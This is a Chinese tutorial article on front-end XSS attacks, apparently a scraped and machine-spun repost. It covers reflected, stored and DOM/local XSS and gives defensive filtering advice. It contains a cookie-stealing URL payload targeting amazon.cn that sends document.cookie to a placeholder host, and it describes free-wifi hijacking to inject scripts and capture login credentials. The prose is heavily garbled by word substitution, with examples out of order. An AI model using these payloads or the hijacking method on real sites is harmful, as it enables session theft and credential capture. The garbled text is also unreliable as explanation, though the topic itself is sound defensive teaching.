作家
登录

前端安全之XSS攻击

作者: 来源: 2017-05-16 15:33:04 阅读 我要评论

属性:

XSS(cross-site scripting跨域脚本进击)进击是最常见的Web进击,其重点是“跨域”和“客户端履行”。有人将XSS进击分为三种,分别是:

1、Reflected XSS(基于反射的XSS进击)

2、Stored XSS(基于存储的XSS进击)

3、DOM-based or local XSS(基于DOM或本地的XSS进击)

Reflected XSS

基于反射的XSS进击,重要依附站点办事端返回脚本,在客户端触发履行大年夜而提议Web进击。

例子:

1、做个假设,当亚马逊在搜刮书本,搜不到书的时刻显示提交的名称。

2、在搜刮框搜刮内容,填入“<script>alert('handsome boy')</script>”, 点击搜刮。

3、当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。

4、进而可以构造获取用户cookies的地址,经由过程QQ群或者垃圾邮件,来让其他人点击这个地址:

  1. http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script> 

开辟安然办法:

结论:

如不雅只是1、2、3步做成功,那也执偾本身折腾本身罢了,如不雅第4步能做成功,才是个像样的XSS进击。

1. 前端在显示办事端数据时刻,不仅是标签内容须要过滤、转义,就连属性值也都可能须要。

2. 后端接收请求时,验证请求是否为进击请求,进击则樊篱。

例如:

标签:

  1. <span><script>alert('handsome boy')</script></span> 

转义

  1. <span><script>alert('handsome boy')</script></span> 

如不雅一个input的value属性值是

PS:这个地址当然是没效的,只是举例子罢了。

  1. 琅琊榜" onclick="javascript:alert('handsome boy'

就可能出现

  1. <input type="text" value=http://netsecurity.51cto.com/art/201705/"琅琊榜" onclick="javascript:alert('handsome boy')"

点击input导致进击脚本被履行,解决方法可以对script或者双引号进行过滤。

基于存储的XSS进击,是经由过程揭橥带有恶意跨域脚本的帖子/文┞仿,大年夜而把恶意脚本存储在办事器,每个拜访该帖子/文┞仿的人就会触发履行。

例子:

1. 发一篇文┞仿,琅绫擎包含了恶意脚本

  1. 今天气象不错啊!<script>alert('handsome boy')</script> 

2. 后端没有对文┞仿进行过滤,直接保存文┞仿内容到数据库。

3. 当其他看这篇文┞仿的时刻,包含的恶意脚本就会履行。

出现这种情况。

结论:

后端尽可能对提交数据做过滤,在场景需求而不过滤的情况下,前端就须要做些处理了。

开辟安然办法:

1. 重如果办事端要进行过滤,因为前端的校验可以被绕过。

2. 当办事端不校验时刻,前端要以各类方法过率攀琅绫擎可能的恶意脚本,例如script标

例子2:

签,将特别字符转换成HTML编码。

DOM-based or local XSS

基于DOM或本地的XSS进击。一般是供给一个免费的wifi,然则供给免费wifi的网关会往你拜访的任何页面插入一段脚本或者是直接返回一个垂纶页面,大年夜而植入恶意脚本。这种直接存在于页面,无须经由办事器返回就是基于本地的XSS进击。

1. 供给一个免费的wifi。

例子1:

3. 之后连上wifi的用户打开任何网站,请求都将被我们朝长进步到。我们根据http头中的host字段来转发到真正办事器上。

4. 收到办事器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。

5. 当注入的脚本被履行,用户的浏览器将依次预加载各大年夜网站的常用脚本库。

PS:例子和图片来自,http://www.cnblogs.com/index-html/p/wifi_hijack_3.html 不是我写的,请留意!

这个其实就是wifi流量劫持,中心人可以看到用户的每一个请求,可以在页面嵌入恶意代码,应用恶意代码获取用户的信息,可以返回垂纶页面。

1. 照样供给一个免费wifi

2. 在我们电脑长进行抓包

3. 分析数据,可以获取用户的微信同伙圈、邮箱、社交网站帐号数据(HTTP)等。

PS:这个是我的测试,在51job页面登录时进行抓包,可以获取帐号暗码。


  推荐阅读

  小议验证码的安全性及如何绕过

一、什么是验证码?CAPTCHA是(全主动区分计算机和仁攀类的图灵测试)的简称,是用于区分计算机和仁攀类的一种法度榜样算法,这种法度榜样必须能生成并评价仁攀类能很轻易经由过程但计算机却>>>详细阅读


本文标题:前端安全之XSS攻击

地址:http://www.17bianji.com/lsqh/35251.html

关键词: 探索发现

乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

网友点评
自媒体专栏

评论

热度

精彩导读
栏目ID=71的表不存在(操作类型=0)